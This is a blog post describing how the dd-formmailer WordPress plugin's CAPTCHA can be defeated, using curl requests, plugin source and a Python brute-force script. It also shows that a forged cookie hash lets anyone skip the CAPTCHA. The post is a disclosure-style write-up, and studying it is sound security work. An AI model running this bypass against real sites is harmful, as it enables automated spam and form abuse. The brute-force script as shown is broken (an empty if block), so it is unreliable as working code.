Austin Adams

Defeating dd-formmailer's Weak CAPTCHA

February 18, 2017

Yesterday, I visited a website that uses dd-formmailer, a Wordpress plugin that provides a form for sending an email, complete with a CAPTCHA intended to prevent automated abuse. Here’s a screenshot:

A screenshot of the dd-formmailer form

I was bored and curious, so I looked at the CAPTCHA image and noticed it was always served from the same path: /wp-content/plugins/dd-formmailer/dd-formmailer.php?v=1. How, I wondered, does the script handling form submissions know if the user entered the right CAPTCHA? A cookie?

$ curl -si http://[snip].com/wp-content/plugins/dd-formmailer/dd-formmailer.php?v=1 | head
HTTP/1.1 200 OK
Set-Cookie: ddfmcode=bacb87c6f4ad4b08090e838d074bc18f; expires=Sat, 18-Feb-2017 17:47:30 GMT; path=/; domain=.[snip].com

A cookie! With what, the md5 of the correct answer?

$ echo -n 3649B | md5sum
bacb87c6f4ad4b08090e838d074bc18f  -


As you can probably tell already, this is not the best approach.

Pass 1

Looking at the source,

$ddfmcode = substr(strtoupper(md5(rand(0, 999999999))), 2, 5); 
$ddfmcode = str_replace("O", "A", $ddfmcode); // for clarity
$ddfmcode = str_replace("0", "B", $ddfmcode);
setcookie("ddfmcode", md5($ddfmcode), time()+3600, '/', '.' . $this_domain); 

you can see that CAPTCHA codes generated are 5-character hex strings without 0s, leaving only $15^5 = 759,375$ possibilities. (Contrary to the third line, hex strings don’t contain the letter O 😄). We can brute force all of these in less than two seconds with a simple Python script:

#!/usr/bin/env python3

from hashlib import md5

for i in range(16**5):
    # Skip numbers with a 0 in their 5-char hex form
    if i >> 16 == 0 or \
       i >> 12 & 0xF == 0 or \
       i >> 8 & 0xF == 0 or \
       i >> 4 & 0xF == 0 or \
       i & 0xF == 0:

    captcha = '{:05X}'.format(i)
    hashed = md5(captcha.encode()).hexdigest()
    print('{}\t{}'.format(hashed, captcha))


$ time ./ >hashes

real    0m1.870s
user    0m1.820s
sys     0m0.052s

Then, when the server gives us a hash in the cookie, we can easily look it up:

$ time grep bacb87c6f4ad4b08090e838d074bc18f hashes
bacb87c6f4ad4b08090e838d074bc18f        3649B

real    0m0.016s
user    0m0.008s
sys     0m0.004s

But it gets better.

Pass 2

While writing the last section, I realized: what stops clients from sending a cookie with their own hash? The answer is nothing.

For example, I can send a Cookie: ddfmcode=b252d1fe1c0c16d001027c2fce9b6529 header (the md5 of “BANANA”) and then “BANANA” in the fm_verify form field and successfully send the email. You don’t need to request the CAPTCHA image at all!

Here’s the relevant section of code:

$t = ddfm_stripslashes($form_input['fm_verify']);
} else if ($_COOKIE["ddfmcode"] != md5(strtoupper($t))) { 

    $errors[] = DDFM_INVALIDVER;



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